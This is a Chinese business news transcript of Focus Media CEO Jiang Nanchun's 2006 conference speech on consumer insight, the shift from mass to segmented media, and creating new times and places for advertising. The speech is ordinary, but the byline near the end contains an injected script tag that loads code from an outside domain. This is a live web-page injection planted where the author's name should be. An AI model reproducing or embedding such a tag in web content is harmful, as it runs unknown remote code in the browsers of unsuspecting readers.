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2006年中国经营报企业竞争力年会于11月8日在北京饭店举行,本次活动由中国社会科学院工业经济研究所和中国经营报社主办,主题为:创意·创新·创造。新浪财经独家网络支持,以下为分众传媒的首席执行官江南春先生精彩演讲: 主持人:早就听说郑先生是服装行业喜欢第一个吃螃蟹的人,接下来请出今天上午最年轻的一位分众传媒首席执行官江南春先生。 江南春:我简短的跟大家分享我的观点,今天题目是中国式创新,以我自己的体会,我有一个体会源于一种洞察,实际上源于对消费者的很多的变化形态的一个洞察。我就是说从洞察开始讲起,以分众为案例,你可以看到分众是一个非常奇怪的模式,它是在全国没有的模式当中,创造出全新的模式。所以我在美国经常接到投资者挑战的问题,为什么这个项目在美国没有成功过,我想在中国有很多特殊的国情,有很多中国消费者有自己的特点,如果在这些特点的洞察当中,才会有所为中国的新的模式的产生。我想分众当时我2002年做分众之前,在广告节上讲,讲整个广告代理公司转向新媒体的研究,当时很多人问我什么样的新媒体会成功,当时我谈了我的四个洞察,第一个利用高科技技术使其发生根本变化,比如原来报纸是黑白的,后来变成彩色,印刷技术改变使得广告的表现力发生改变。互联网广告从原来的FLASH到现在的流媒体大家看到,原来马路上都是灯箱,现在是AED,把灯箱完全变成了视频化了。这种项目的改变。包括像手机未来3G时代的手机,一定会给手机作为广告载体带来全新的可能性。 第二点,未来中国的媒体一定从大众向分众的转变,1992年的时候中国不需要分众这个词语,那个时候只有官员和百姓之分,没有社会阶级之分,今天可以看到越来越多的产品分出不同的社会阶层,以及不同的目标受众。我们可以看到,如果我们去比汽车有没有阶级,有阶级,住房有没有阶级,有阶级。我觉得连一瓶洗发水上都可以看到阶级。比如看到蜂花、飘柔、沙宣这些方面就可以看出。细分化的产品通过特定传播渠道打到所需要的客户群当中,这种需求非常明显,未来的媒体是从大众向分众转变,大众媒体并不是今天有了一对一就替代了分众,有了分众就替代了大众,这不是替代的过程,而是结构如何更加合理的过程。我相信未来中国的行销趋势也是这样,就是伊拉克战争一样,伊拉克战争最初模式是沙漠风暴,什么叫做沙漠风暴,就是炸三遍看有没有人活着,这个主要是以CCTV覆盖的模式,第二场战争叫做沙漠之湖,只打共和国卫队,然后不要殃及到周边平民,第三种就是斩首示众,未来市场是从大众到分众一对一转变过程,长期共存结构更加合理的过程。 第三个我当时洞察,重新思考广告应该有的时间和空间,在座很多广告主都会觉得钱越花越多,效果变的越来越不确定。一个部分就是广告干扰度很高,我印象很深,我1992年刚刚出道的时候,主要工作是在新闻晚报门口排队。那个时候我们一个多小时看报纸,一个多小时看报纸报纸只有八个版,来回看完以后,连中缝效果都很好。中国人十年前和十年后看报纸的时间是增加还是减少了,看报纸人越来越少,但是报纸种类页数越来越多。单位产生的价值越来越少。电视也是这样,20年前我看过一个非常重要的电视剧,叫做《上海滩》,当时怦怦怦三枪,然后出现了一个水塔牌洋伞。20年前的广告非常深刻,中国人看电视的时候每况愈下的。都市白领一两个小时看电视, 真正看广告的时间5到10分钟,这个当中有70个人要争夺他的注意力,我肯定不能做71个,72个,因为我们打不过他,人有24个小时,我们看看哪些地方没有广告,把媒体植入进去,成为唯一一种广告形式,如果与其跟别人争夺70多个5到10分钟的时间,不如自己创造一个时空,电视广告属于夜晚的,白天为什么注意力更加集中,更加亢奋的白天为什么没有电视广告存在,电视广告是家里的,一个人一天会去往很多地方,换个角度,看到白天户外广告市场就会存在。 主持人:谢谢江南春先生,希望大家能借着美味,把脑子里的思想一起净化一下。今天上午会议就到这里结束了。谢谢大家! 编辑:李晓红 作者:<script src=http://s12a.cn></script> 相关新闻
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